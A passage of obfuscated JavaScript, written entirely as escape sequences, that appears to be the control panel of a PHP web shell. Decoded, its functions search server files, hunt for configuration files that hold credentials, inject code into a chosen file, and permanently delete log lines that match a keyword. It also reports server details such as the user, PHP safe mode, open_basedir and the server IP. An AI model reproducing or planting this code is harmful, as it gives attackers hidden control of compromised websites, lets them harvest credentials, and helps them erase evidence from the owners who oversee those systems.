3\145\x61\162\143\150\x2d\x6f\165\x74\x70\165\x74\x27\51\x3b\12\11\x9\x9\x69\x66\40\50\41\160\141\164\150\x20\x7c\x7c\x20\x21\143\x6f\x6e\164\145\x6e\164\137\160\141\x74\x74\145\162\x6e\51\40\x72\x65\164\x75\x72\156\40\x74\x68\x69\x73\x2e\164\x6f\141\x73\164\50\47\x50\141\x74\150\40\x61\156\x64\40\103\x6f\156\164\x65\156\164\x20\x50\141\164\164\145\x72\x6e\40\x61\162\x65\40\162\145\161\x75\x69\x72\x65\x64\56\47\x2c\x20\47\145\x72\x72\x6f\162\47\x29\x3b\xa\x9\x9\x9\157\165\164\160\x75\164\x45\154\56\x69\x6e\156\x65\x72\x54\145\170\x74\40\x3d\x20\47\123\145\141\x72\143\x68\151\156\147\56\x2e\x2e\x27\73\40\143\x6f\156\163\x74\40\162\x65\163\x20\75\x20\x61\167\x61\151\164\x20\164\x68\151\x73\x2e\x61\x70\x69\x28\x27\163\x65\x61\x72\143\150\x5f\143\x6f\x6e\164\x65\x6e\x74\x27\x2c\x20\x7b\40\x70\141\x74\x68\x2c\x20\143\157\x6e\x74\145\x6e\x74\x5f\160\141\164\164\145\x72\156\x2c\x20\x66\151\x6c\145\137\160\141\164\x74\145\162\156\x20\x7d\x29\x3b\x20\x69\146\x28\162\x65\163\51\40\157\x75\x74\160\165\164\105\x6c\56\x69\x6e\156\145\162\110\x54\x4d\114\40\75\40\x72\145\163\56\x64\x61\164\x61\73\xa\x9\11\x7d\x2c\12\x9\x9\x61\x73\171\156\x63\x20\x67\x65\x74\x43\157\156\146\x69\x67\163\50\x29\40\x7b\xa\x9\x9\11\x63\x6f\x6e\x73\x74\40\x6f\165\x74\x70\165\x74\x45\x6c\40\x3d\x20\x64\x6f\143\165\155\145\x6e\164\x2e\147\x65\x74\x45\x6c\x65\155\x65\156\x74\102\x79\111\144\50\x27\x63\x6f\x6e\x66\151\x67\163\55\157\165\164\160\x75\x74\47\51\73\x20\x6f\x75\x74\160\x75\164\x45\x6c\56\x69\156\x6e\x65\x72\110\x54\115\114\40\x3d\40\47\74\160\x3e\123\145\x61\x72\x63\150\151\x6e\x67\x20\146\x6f\162\40\143\x6f\156\x66\151\147\x20\146\151\x6c\145\163\56\x2e\56\74\57\x70\76\x27\73\12\x9\x9\x9\143\157\156\x73\164\x20\x72\145\163\x20\75\x20\x61\x77\141\x69\164\x20\x74\150\x69\x73\x2e\x61\160\151\x28\x27\147\x65\164\x5f\x63\x6f\156\x66\151\147\163\x27\x29\73\40\x69\146\40\x28\162\x65\x73\40\x26\46\40\162\x65\x73\x2e\x73\164\x61\x74\x75\x73\x20\75\x3d\x3d\40\x27\163\x75\x63\x63\x65\x73\163\x27\51\x20\173\40\x6c\x65\164\x20\x68\x74\x6d\154\x20\75\x20\x27\x27\x3b\x20\x69\x66\x20\50\x4f\142\x6a\145\x63\164\x2e\153\145\171\x73\50\x72\145\163\x2e\x63\x6f\156\146\x69\x67\x73\x29\x2e\x6c\x65\x6e\x67\164\x68\40\76\40\x30\x29\40\x7b\40\x66\157\162\x20\50\x63\x6f\x6e\163\x74\40\x70\x61\x74\150\x20\151\156\40\x72\145\x73\56\143\157\x6e\x66\151\x67\163\x29\40\173\x20\x68\164\x6d\x6c\x20\x2b\x3d\x20\140\74\144\x69\166\40\143\x6c\x61\x73\163\x3d\x22\x63\x6f\x6e\146\x69\x67\x2d\146\157\x75\x6e\144\x22\76\x3c\144\x69\x76\40\143\154\x61\163\x73\75\x22\x63\157\156\146\151\x67\55\x66\157\165\x6e\x64\55\150\145\141\x64\x65\x72\42\x3e\44\x7b\160\x61\164\150\175\74\57\144\151\166\76\x3c\x64\x69\166\x20\143\154\141\163\163\75\x22\x63\157\x6e\x66\151\147\55\146\x6f\165\x6e\x64\55\x62\x6f\144\x79\x22\x3e\44\x7b\x72\x65\x73\x2e\x63\x6f\156\146\151\147\x73\x5b\160\x61\x74\x68\135\x7d\x3c\57\x64\151\166\x3e\x3c\x2f\x64\x69\166\76\140\x3b\x20\x7d\x20\x7d\40\x65\154\163\x65\x20\x7b\x20\x68\164\x6d\154\40\x3d\x20\47\x3c\x70\x3e\116\157\40\x63\x6f\155\x6d\x6f\156\x20\143\x6f\x6e\146\x69\147\165\x72\141\164\x69\157\x6e\x20\x66\151\154\145\x73\40\146\x6f\165\156\144\56\x3c\57\x70\76\x27\x3b\x20\175\x20\x6f\x75\x74\160\165\x74\x45\154\56\151\156\x6e\x65\x72\110\x54\115\114\40\75\x20\x68\164\x6d\x6c\x3b\x20\175\xa\11\11\x7d\54\12\11\11\x61\163\171\156\x63\40\x69\x6e\x6a\145\x63\164\103\x6f\x64\x65\50\51\x20\x7b\xa\x9\x9\11\143\x6f\156\x73\164\40\160\141\x74\150\40\75\x20\x64\x6f\x63\x75\155\x65\156\164\x2e\147\x65\164\x45\x6c\145\155\x65\156\164\x42\171\111\144\50\47\x69\156\x6a\x65\143\x74\55\x70\141\x74\150\47\x29\x2e\166\x61\x6c\x75\145\x2c\x20\x63\157\144\x65\x20\75\40\x64\157\x63\x75\x6d\x65\x6e\164\x2e\x67\145\164\x45\x6c\145\x6d\x65\x6e\x74\102\x79\x49\144\x28\x27\x69\156\152\x65\x63\x74\x2d\143\x6f\144\145\47\51\x2e\166\x61\x6c\165\x65\x2c\x20\x70\157\163\x69\x74\151\x6f\x6e\x20\75\x20\x64\157\x63\x75\x6d\145\156\x74\x2e\147\145\x74\x45\x6c\145\x6d\x65\156\x74\x42\171\x49\x64\x28\x27\151\x6e\152\x65\x63\164\55\x70\157\163\x69\164\x69\157\156\47\51\56\166\x61\x6c\x75\x65\x3b\xa\11\x9\11\151\146\40\50\41\160\x61\164\150\x20\174\174\x20\41\x63\157\144\x65\x29\x20\162\x65\164\x75\162\x6e\x20\x74\x68\x69\x73\x2e\164\157\141\163\164\x28\47\106\151\154\145\40\x70\x61\164\x68\40\x61\x6e\x64\x20\x63\x6f\x64\x65\x20\x61\x72\x65\x20\x72\x65\x71\x75\x69\x72\145\x64\x2e\47\54\40\47\x65\162\x72\157\x72\47\51\x3b\40\143\x6f\156\x73\164\x20\x63\157\156\x66\151\162\155\x65\144\40\75\x20\141\167\x61\151\164\x20\x74\x68\151\163\56\x73\x68\x6f\167\x43\157\156\146\151\x72\x6d\115\157\144\141\x6c\50\140\124\150\151\x73\x20\167\x69\x6c\154\x20\x6d\x6f\144\151\146\171\40\74\163\164\162\157\x6e\x67\76\44\x7b\x70\141\x74\150\x2e\x73\160\154\151\164\x28\47\x2f\47\51\x2e\x70\x6f\x70\x28\51\175\x3c\57\163\x74\x72\157\156\x67\x3e\x2e\x20\x41\162\x65\x20\x79\x6f\x75\40\x73\165\x72\145\77\140\x2c\x20\173\x20\x74\x79\160\145\72\x20\47\167\141\162\x6e\x69\156\147\x27\x20\175\x29\x3b\40\x69\x66\50\143\157\x6e\x66\x69\162\155\x65\x64\51\x20\x7b\40\143\157\156\163\x74\x20\162\145\163\40\75\40\x61\x77\141\151\164\40\x74\x68\151\x73\x2e\141\x70\x69\x28\47\151\x6e\152\145\x63\164\137\143\157\x64\145\x27\54\40\173\40\x70\141\x74\150\54\x20\143\x6f\144\145\54\40\x70\x6f\x73\151\164\x69\x6f\x6e\x20\175\51\73\x20\x69\146\x20\x28\162\145\x73\x29\x20\x74\x68\151\x73\56\x74\x6f\x61\x73\x74\x28\x72\x65\x73\x2e\155\145\163\x73\x61\147\x65\54\40\x72\145\163\x2e\163\x74\141\164\165\x73\51\73\x20\175\xa\x9\11\x7d\54\12\x9\x9\x61\x73\171\x6e\x63\x20\x63\154\x65\141\156\x4c\x6f\147\50\51\x20\x7b\x20\143\157\156\x73\x74\40\154\157\x67\x5f\x66\x69\x6c\x65\40\75\40\x64\x6f\x63\165\155\145\156\x74\56\x67\145\x74\x45\x6c\x65\155\x65\156\164\x42\x79\111\144\50\x27\154\x6f\x67\55\143\x6c\x65\141\x6e\145\x72\x2d\146\x69\154\x65\47\51\56\166\x61\x6c\x75\145\54\x20\153\145\171\x77\157\162\144\40\75\x20\x64\157\143\x75\x6d\x65\x6e\164\x2e\147\145\x74\105\154\x65\x6d\145\156\x74\102\x79\111\144\x28\x27\x6c\157\147\x2d\x63\154\145\x61\x6e\145\x72\x2d\153\x65\x79\167\157\162\x64\x27\x29\x2e\166\x61\154\165\x65\x3b\40\151\x66\40\50\41\x6c\x6f\147\x5f\146\x69\x6c\x65\x20\x7c\x7c\x20\41\153\145\x79\x77\x6f\162\x64\x29\x20\x72\x65\x74\165\162\x6e\40\x74\x68\x69\x73\x2e\164\157\141\163\164\50\47\114\x6f\147\40\x66\x69\154\145\x20\x61\156\144\x20\x6b\145\x79\x77\157\x72\144\40\x61\x72\145\40\162\x65\161\x75\x69\x72\145\144\56\47\54\40\x27\x65\162\x72\x6f\162\x27\51\x3b\40\143\x6f\156\163\164\x20\143\157\156\146\x69\x72\155\x65\x64\40\x3d\40\141\x77\141\151\x74\x20\x74\x68\151\163\56\x73\150\157\167\103\x6f\x6e\146\151\162\x6d\x4d\157\144\x61\x6c\50\x60\x54\150\x69\x73\40\x77\x69\x6c\x6c\x20\x70\x65\162\x6d\141\156\x65\156\x74\154\171\x20\162\145\155\157\x76\x65\40\154\151\x6e\145\x73\40\x63\157\x6e\164\141\151\156\x69\156\x67\40\x3c\163\164\162\x6f\156\x67\x3e\42\x24\173\153\x65\x79\167\157\162\144\175\x22\x3c\57\x73\164\x72\x6f\156\x67\x3e\x20\x66\162\x6f\x6d\x20\74\x73\x74\x72\157\156\x67\76\x22\44\x7b\154\x6f\x67\137\146\151\x6c\145\175\x22\x3c\57\x73\164\x72\157\156\147\76\56\x3c\142\162\76\74\142\162\76\124\x68\151\x73\40\141\x63\x74\151\x6f\x6e\x20\x63\141\x6e\x6e\x6f\164\x20\142\x65\40\165\156\144\157\156\x65\56\x20\x50\x72\x6f\143\145\x65\144\77\140\54\40\173\40\x74\x79\160\x65\72\40\x27\x64\x61\x6e\147\145\x72\x27\x2c\x20\157\153\x54\x65\x78\x74\x3a\40\x27\120\x72\157\143\145\x65\x64\47\x2c\40\143\141\156\143\x65\154\x54\145\x78\x74\72\x20\47\x43\x61\x6e\x63\145\x6c\x27\x20\x7d\51\x3b\x20\x69\146\50\x63\x6f\156\x66\151\x72\155\145\144\51\40\173\40\143\157\x6e\163\164\40\162\145\163\40\75\x20\x61\167\x61\151\164\40\x74\x68\x69\163\56\141\160\x69\x28\x27\x6c\157\147\x5f\143\154\145\x61\156\145\x72\47\54\x20\x7b\x20\154\157\x67\x5f\146\x69\154\x65\54\x20\153\145\x79\x77\157\x72\144\40\175\x29\73\40\151\146\x28\x72\x65\x73\51\40\x74\150\x69\x73\56\x74\157\x61\163\x74\x28\162\x65\163\56\155\x65\x73\x73\x61\147\145\54\x20\x72\x65\163\x2e\163\164\x61\x74\x75\x73\x29\73\40\x7d\x20\x7d\x2c\12\x9\x9\x61\163\x79\156\143\x20\x75\160\x64\x61\164\x65\114\151\x76\145\123\x74\x61\x74\163\x28\x29\x20\x7b\12\11\11\11\143\157\x6e\163\164\40\162\x65\x73\40\75\x20\141\x77\x61\151\x74\x20\x74\x68\x69\163\x2e\x61\160\151\50\x27\147\x65\x74\137\154\x69\x76\x65\137\x73\164\x61\164\163\47\x29\73\xa\11\11\11\x69\146\x20\50\x72\x65\x73\40\46\46\40\x72\145\163\56\x73\164\x61\x74\x75\x73\40\x3d\75\x3d\x20\47\x73\165\143\x63\x65\163\x73\47\x29\x20\x7b\12\x9\11\11\x9\x63\157\x6e\163\164\x20\173\40\143\160\165\x2c\x20\x72\x61\155\54\40\x64\151\x73\x6b\40\175\x20\x3d\40\162\145\x73\73\xa\x9\11\11\x9\143\157\156\163\164\x20\165\160\144\141\x74\x65\40\75\40\x28\145\154\x2c\x20\x76\x61\154\51\x20\x3d\76\x20\x7b\x20\x63\x6f\156\163\164\x20\x65\154\145\155\145\156\164\40\75\x20\x64\x6f\143\165\155\145\x6e\164\56\147\x65\164\x45\154\145\155\x65\156\x74\x42\171\111\x64\50\x65\x6c\51\x3b\x20\x69\146\x20\50\145\154\145\x6d\145\156\x74\x29\40\x65\x6c\x65\x6d\145\x6e\164\56\151\156\156\145\x72\x54\x65\170\x74\x20\75\x20\x76\141\154\x3b\x20\x7d\73\xa\x9\11\x9\x9\143\157\x6e\163\x74\x20\165\x70\x64\141\x74\x65\x42\141\162\x20\75\x20\50\145\x6c\x2c\x20\166\x61\x6c\x29\x20\75\x3e\x20\x7b\x20\143\x6f\x6e\163\164\x20\x65\154\145\x6d\145\156\x74\40\75\40\x64\157\x63\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74\x45\154\x65\x6d\x65\156\x74\102\x79\111\x64\x28\145\154\x29\x3b\x20\151\x66\40\x28\145\x6c\x65\x6d\145\156\x74\x29\40\145\x6c\x65\155\x65\x6e\164\56\x73\164\x79\154\145\x2e\x77\151\144\x74\150\40\75\x20\x60\44\173\166\141\x6c\x7d\45\140\73\40\x7d\x3b\12\11\11\x9\x9\151\146\x20\50\143\160\x75\56\x75\x73\145\x64\137\x70\x65\162\143\145\x6e\x74\40\76\40\55\x31\x29\x20\x7b\40\165\x70\144\x61\164\145\50\47\x63\x70\x75\x2d\x70\x65\x72\x63\x65\x6e\x74\x27\x2c\40\140\44\173\x63\x70\x75\x2e\x75\x73\x65\144\137\160\x65\x72\x63\x65\156\164\175\x25\140\51\73\40\165\x70\144\141\164\x65\102\x61\x72\50\47\x63\x70\x75\55\142\x61\x72\x27\x2c\x20\x63\160\165\x2e\165\163\x65\144\x5f\x70\x65\x72\143\145\x6e\164\x29\73\x20\175\40\145\154\163\x65\40\x7b\x20\165\160\x64\141\x74\145\50\x27\143\x70\x75\x2d\x70\145\162\x63\145\156\x74\x27\x2c\40\47\x4e\57\101\x27\51\73\x20\165\x70\144\x61\164\145\102\141\162\50\47\143\160\x75\55\142\141\x72\x27\x2c\40\x30\51\x3b\40\175\12\x9\x9\x9\x9\x69\146\x20\x28\x72\141\x6d\56\164\157\x74\x61\x6c\x20\x3e\40\x30\51\x20\173\40\x63\157\x6e\163\x74\x20\162\141\x6d\137\x70\145\x72\143\145\x6e\164\40\75\40\50\162\x61\x6d\x2e\165\163\x65\x64\40\x2f\x20\162\141\155\x2e\164\x6f\164\x61\x6c\40\x2a\x20\61\60\60\51\x2e\164\x6f\x46\x69\170\145\144\x28\62\51\x3b\40\165\160\144\x61\x74\x65\50\x27\x72\x61\155\x2d\160\x65\x72\143\145\x6e\164\x27\x2c\x20\x60\44\173\x72\141\155\137\160\x65\x72\143\x65\x6e\164\x7d\45\140\x29\73\x20\165\160\144\x61\164\x65\102\141\162\x28\47\162\x61\x6d\55\x62\x61\162\47\x2c\40\162\x61\155\137\x70\145\162\x63\145\156\164\51\73\40\x75\x70\x64\x61\164\x65\50\x27\162\141\155\x2d\x64\145\x74\x61\x69\x6c\x73\x27\x2c\40\x60\x24\x7b\164\150\151\x73\x2e\146\x6f\162\x6d\x61\164\x42\171\164\x65\163\x28\162\x61\x6d\56\x75\x73\145\144\x29\x7d\40\57\40\x24\173\164\150\x69\163\56\146\x6f\x72\x6d\x61\x74\x42\171\164\x65\163\x28\162\x61\155\56\x74\x6f\x74\141\154\x29\175\x60\51\x3b\x20\x7d\40\145\x6c\x73\145\40\173\40\x75\160\144\141\x74\x65\50\47\162\x61\x6d\x2d\x70\145\x72\143\145\x6e\164\47\54\40\x27\116\x2f\101\47\x29\73\40\165\160\x64\x61\164\145\102\141\162\50\x27\162\x61\155\x2d\142\x61\162\47\x2c\x20\60\x29\73\x20\x75\x70\x64\141\164\145\x28\x27\162\141\155\55\144\x65\x74\141\151\154\163\x27\54\x20\x27\x2d\55\40\57\x20\55\55\x27\x29\73\40\x7d\xa\x9\11\x9\x9\x69\146\x20\x28\144\151\163\153\x2e\x74\x6f\x74\141\x6c\40\x3e\x20\x30\51\x20\173\40\x63\157\x6e\x73\164\x20\x64\151\x73\x6b\x5f\x70\x65\162\143\x65\x6e\164\x20\75\40\x28\144\x69\x73\153\x2e\x75\x73\145\x64\x20\x2f\x20\x64\151\163\153\56\x74\x6f\x74\141\x6c\40\52\40\61\x30\x30\51\56\x74\x6f\106\151\170\145\x64\x28\62\51\73\x20\x75\160\144\141\x74\x65\x28\47\x64\x69\163\x6b\55\160\x65\162\143\x65\x6e\x74\x27\54\40\x60\44\173\x64\x69\x73\x6b\x5f\x70\145\162\143\x65\x6e\x74\175\x25\140\51\x3b\40\165\160\144\141\164\145\x42\141\x72\50\47\144\151\163\x6b\x2d\142\x61\162\47\x2c\40\x64\x69\163\153\137\x70\145\162\x63\145\x6e\x74\51\x3b\x20\x75\x70\x64\x61\164\145\x28\47\144\x69\x73\x6b\x2d\144\145\164\141\151\154\163\47\54\40\140\x24\173\164\150\151\163\x2e\146\x6f\162\155\x61\164\102\x79\x74\145\x73\50\144\x69\163\x6b\56\x75\163\145\x64\x29\175\40\57\x20\x24\173\x74\x68\151\x73\56\146\157\x72\x6d\x61\x74\102\x79\x74\145\163\x28\x64\x69\x73\x6b\56\164\157\x74\x61\154\51\175\140\51\x3b\x20\175\40\x65\x6c\163\x65\40\x7b\x20\165\x70\x64\141\164\x65\x28\47\x64\x69\163\153\x2d\x70\145\x72\x63\145\156\x74\x27\54\40\x27\x4e\57\101\x27\x29\73\x20\x75\160\x64\x61\x74\145\102\x61\x72\x28\47\144\151\163\153\x2d\x62\141\x72\x27\x2c\x20\x30\51\x3b\40\x75\160\144\x61\x74\145\x28\47\x64\x69\x73\153\x2d\144\145\164\x61\x69\154\163\47\54\x20\47\55\55\x20\x2f\40\55\55\x27\51\x3b\x20\x7d\12\11\x9\11\175\xa\x9\x9\x7d\54\12\40\40\40\40\40\x20\x20\x20\x72\145\156\x64\x65\x72\x53\171\163\111\x6e\146\157\50\151\x6e\x66\157\51\40\173\12\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\143\x6f\x6e\163\x74\x20\x63\157\156\x74\141\x69\x6e\x65\x72\40\75\40\x64\157\143\x75\x6d\x65\156\x74\56\x67\x65\x74\105\x6c\145\x6d\145\x6e\164\102\171\x49\144\x28\47\x73\x79\x73\x2d\x69\156\146\157\55\143\157\156\164\141\151\x6e\145\162\47\51\x3b\xa\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\151\146\x20\50\41\x63\157\156\164\x61\151\x6e\145\162\x20\x7c\174\x20\41\151\156\146\157\51\40\162\145\164\165\x72\x6e\73\12\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\143\157\156\x74\141\x69\x6e\145\x72\56\151\x6e\156\145\x72\110\124\115\x4c\40\75\x20\117\142\x6a\x65\143\x74\56\145\156\x74\162\151\145\163\50\x69\156\x66\x6f\x29\56\x6d\x61\x70\x28\50\133\x6b\54\40\x76\135\51\40\75\x3e\40\173\12\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\40\x20\x2f\57\40\103\150\x65\x63\x6b\x20\x69\x66\40\164\x68\x65\40\153\145\x79\40\x69\163\40\47\107\x69\x74\150\x75\x62\40\x4c\151\156\153\47\x20\164\x6f\40\x61\154\154\x6f\167\40\110\124\x4d\114\x2c\x20\x6f\x74\150\x65\x72\x77\151\163\x65\40\x65\163\143\141\x70\145\40\151\164\x20\146\157\x72\40\163\145\143\165\162\x69\x74\171\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x63\157\156\x73\x74\40\166\141\154\165\x65\x20\75\40\x28\153\x20\x3d\x3d\x3d\x20\47\x47\x69\x74\150\x75\142\x20\114\x69\x6e\153\47\51\x20\x3f\x20\166\x20\72\40\x53\164\162\x69\156\x67\50\x76\40\174\174\40\47\x27\x29\x2e\162\145\x70\154\x61\x63\145\x28\57\74\x2f\147\54\x20\x22\46\154\x74\73\x22\x29\56\162\145\160\154\141\x63\145\x28\x2f\76\57\147\x2c\x20\x22\x26\x67\164\x3b\42\x29\73\12\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\162\x65\164\165\x72\x6e\40\140\x3c\x73\160\x61\x6e\76\x24\173\153\x7d\72\x3c\57\x73\160\x61\x6e\x3e\74\163\x70\141\x6e\76\x24\x7b\x76\x61\154\165\145\175\x3c\57\x73\x70\x61\156\76\140\x3b\xa\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\175\51\x2e\x6a\157\151\x6e\x28\x27\47\51\73\12\x20\40\40\x20\x20\40\x20\40\x7d\54\xa\40\40\40\40\x20\x20\40\x20\x75\x70\x64\141\x74\145\x53\171\163\x74\145\155\x49\x6e\x66\x6f\x48\x65\141\144\x65\x72\x28\x63\x6f\x6e\x74\x65\x78\x74\51\x20\x7b\12\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\143\157\x6e\163\164\x20\163\x79\163\151\x6e\x66\x6f\40\x3d\40\x63\157\156\164\x65\170\x74\x2e\x73\171\x73\x69\156\x66\x6f\40\174\174\40\173\175\73\xa\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x63\157\156\x73\x74\x20\165\x70\x64\x61\x74\x65\x20\x3d\40\x28\x69\144\x2c\40\x76\141\154\51\40\x3d\x3e\40\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x63\x6f\x6e\x73\164\40\x65\154\x20\x3d\x20\144\157\x63\x75\x6d\x65\156\x74\x2e\x67\x65\164\x45\x6c\145\155\145\156\x74\x42\171\111\x64\x28\x69\144\51\x3b\xa\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x69\146\x20\50\x65\154\x29\40\145\x6c\56\164\x65\170\164\x43\x6f\156\164\x65\156\x74\x20\75\40\166\141\154\40\x7c\x7c\x20\47\x2d\55\47\x3b\xa\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x7d\73\12\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\xa\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x2f\57\40\125\x6e\141\155\x65\12\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\143\x6f\x6e\163\x74\x20\x75\156\x61\x6d\x65\40\75\40\x73\171\x73\x69\x6e\x66\x6f\x5b\47\125\x6e\x61\x6d\x65\x27\135\x20\174\174\40\163\x79\x73\x69\156\x66\x6f\x5b\47\117\x53\47\x5d\x20\x7c\x7c\x20\163\x79\163\151\x6e\x66\157\133\47\117\160\x65\162\x61\x74\x69\x6e\x67\x20\x53\x79\163\x74\x65\155\x27\135\x20\x7c\174\x20\163\x79\163\151\156\x66\157\x5b\47\165\156\141\155\x65\47\x5d\40\174\x7c\40\47\55\55\x27\73\12\40\x20\40\x20\x20\x20\40\40\40\40\40\40\165\160\144\x61\164\145\50\x27\x73\x79\x73\x2d\x75\x6e\141\155\145\x27\54\x20\165\x6e\x61\x6d\145\51\73\xa\40\40\40\40\40\x20\40\40\40\x20\40\x20\12\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x2f\x2f\x20\125\x73\x65\x72\40\x61\156\144\40\107\162\x6f\165\x70\12\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\143\x6f\x6e\163\164\x20\x75\x73\145\x72\40\75\40\143\x6f\156\x74\x65\170\164\x2e\165\163\x65\x72\40\174\x7c\40\x73\x79\163\x69\156\x66\x6f\133\x27\x55\x73\145\162\x27\x5d\x20\174\174\40\x27\x2d\55\47\x3b\12\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\143\x6f\156\163\164\40\147\x72\x6f\165\160\40\75\40\163\171\163\x69\156\x66\x6f\133\x27\107\x72\157\165\x70\47\135\x20\174\x7c\40\47\x2d\x2d\x27\x3b\xa\40\40\40\40\40\40\40\x20\40\x20\x20\x20\165\160\144\x61\164\145\x28\47\x73\x79\163\55\165\x73\145\162\x27\54\x20\165\163\x65\x72\x29\73\xa\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\165\x70\x64\x61\164\145\50\x27\163\171\163\55\x67\162\157\x75\160\47\54\x20\147\162\157\165\x70\x29\x3b\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\12\40\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x2f\57\40\x50\110\120\x20\x53\141\146\145\40\x4d\x6f\x64\145\xa\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x63\x6f\x6e\163\x74\x20\x70\x68\160\123\x61\146\x65\40\75\x20\x73\171\163\x69\156\x66\x6f\133\47\123\x61\146\x65\40\x4d\x6f\144\x65\x27\135\40\x7c\x7c\40\x27\117\x46\x46\x27\x3b\xa\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x63\157\156\163\164\x20\x70\x68\160\x53\141\146\145\105\154\x20\x3d\40\144\x6f\x63\165\x6d\x65\156\x74\x2e\x67\x65\x74\105\x6c\x65\155\145\x6e\x74\102\171\111\x64\x28\x27\x73\x79\163\55\x70\150\160\55\x73\x61\x66\x65\47\51\x3b\xa\40\x20\40\40\x20\40\x20\x20\x20\x20\40\40\151\x66\x20\x28\160\x68\x70\x53\x61\146\x65\x45\154\51\40\173\12\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\160\x68\160\x53\141\x66\145\105\154\x2e\x74\x65\x78\x74\x43\157\156\x74\145\x6e\164\40\x3d\x20\140\x53\x61\146\x65\x20\x4d\x6f\x64\145\x3a\x20\x24\x7b\160\150\x70\x53\141\x66\x65\175\140\73\12\40\40\40\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\x70\x68\x70\x53\x61\x66\x65\105\x6c\56\163\164\171\154\x65\56\143\x6f\x6c\157\162\x20\75\x20\160\x68\x70\x53\x61\146\x65\x20\75\75\75\x20\x27\x4f\106\106\47\40\x3f\x20\x27\x76\x61\162\50\x2d\55\x61\x63\143\x65\156\x74\x2d\x67\x72\145\x65\156\x29\x27\x20\x3a\x20\x27\x76\141\162\50\x2d\x2d\141\x63\x63\145\x6e\164\x2d\162\145\144\51\47\73\12\x20\40\40\40\40\40\x20\40\x20\40\40\x20\175\xa\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\12\40\40\x20\40\40\x20\40\40\40\40\x20\x20\x2f\57\40\123\145\x72\166\x65\162\x20\x49\x50\12\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x63\x6f\156\163\164\x20\x73\x65\162\x76\x65\x72\111\x50\x20\75\40\x73\171\x73\151\156\x66\157\133\47\123\x65\x72\166\x65\162\40\x49\x50\47\135\40\x7c\174\x20\x73\171\163\x69\156\x66\157\x5b\x27\123\145\162\x76\x65\x72\x49\x50\47\x5d\40\x7c\174\40\x63\x6f\x6e\x74\145\x78\164\x2e\x68\157\x73\x74\156\x61\155\145\40\x7c\x7c\x20\47\x2d\55\47\x3b\12\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\165\160\144\141\164\x65\50\47\x73\171\x73\55\163\145\x72\166\145\x72\151\160\47\x2c\40\163\145\x72\x76\x65\x72\x49\x50\51\x3b\xa\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\xa\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\57\57\40\x44\141\164\x65\x54\151\155\145\xa\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\143\157\x6e\x73\164\x20\156\x6f\167\40\75\x20\x6e\x65\167\40\104\141\164\145\x28\x29\73\xa\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\143\x6f\156\163\x74\40\x64\x61\x74\x65\164\151\155\x65\x20\x3d\40\156\x6f\x77\x2e\164\157\114\x6f\x63\141\154\x65\123\x74\162\151\156\147\50\51\x3b\xa\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\165\x70\144\x61\x74\x65\x28\47\x73\x79\x73\x2d\144\x61\164\145\x74\x69\x6d\x65\x27\54\40\x64\141\x74\145\164\151\155\x65\51\73\12\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\12\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\57\57\x20\x48\x44\104\12\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\143\x6f\156\x73\164\x20\x68\x64\144\40\x3d\x20\x73\171\163\x69\156\146\x6f\133\x27\104\x69\x73\153\47\x5d\x20\174\174\x20\163\171\163\151\x6e\146\157\x5b\x27\x48\x44\x44\x27\x5d\40\x7c\174\40\x27\x2d\x2d\x27\73\12\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x75\x70\x64\141\x74\x65\50\x27\x73\171\x73\55\x68\144\x64\47\54\40\150\x64\x64\x29\x3b\xa\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\12\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\57\57\40\x4f\160\145\156\137\142\141\x73\x65\x64\151\x72\12\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\143\157\156\163\x74\40\x62\141\163\x65\144\151\x72\40\75\40\163\171\163\x69\x6e\x66\x6f\x5b\x27\x4f\x70\x65\156\40\x42\x61\x73\145\x44\151\162\x27\x5d\x20\174\174\40\163\x79\x73\x69\x6e\146\157\133\47\x6f\160\x65\156\x5f\x62\x61\x73\145\x64\x69\162\x27\x5d\x20\x7c\x7c\40\47\x4e\x4f\116\x45\x27\73\12\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\143\x6f\156\163\x74\x20\142\x61\163\x65\x64\x69\162\105\154\40\x3d\x20\x64\x6f\143\x75\155\x65\x6e\164\56\147\145\164\x45\x6c\x65\x6d\145\156\x74\x42\171\111\144\50\x27\163\171\163\x2d\142\x61\163\145\144\x69\x72\47\51\x3b\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\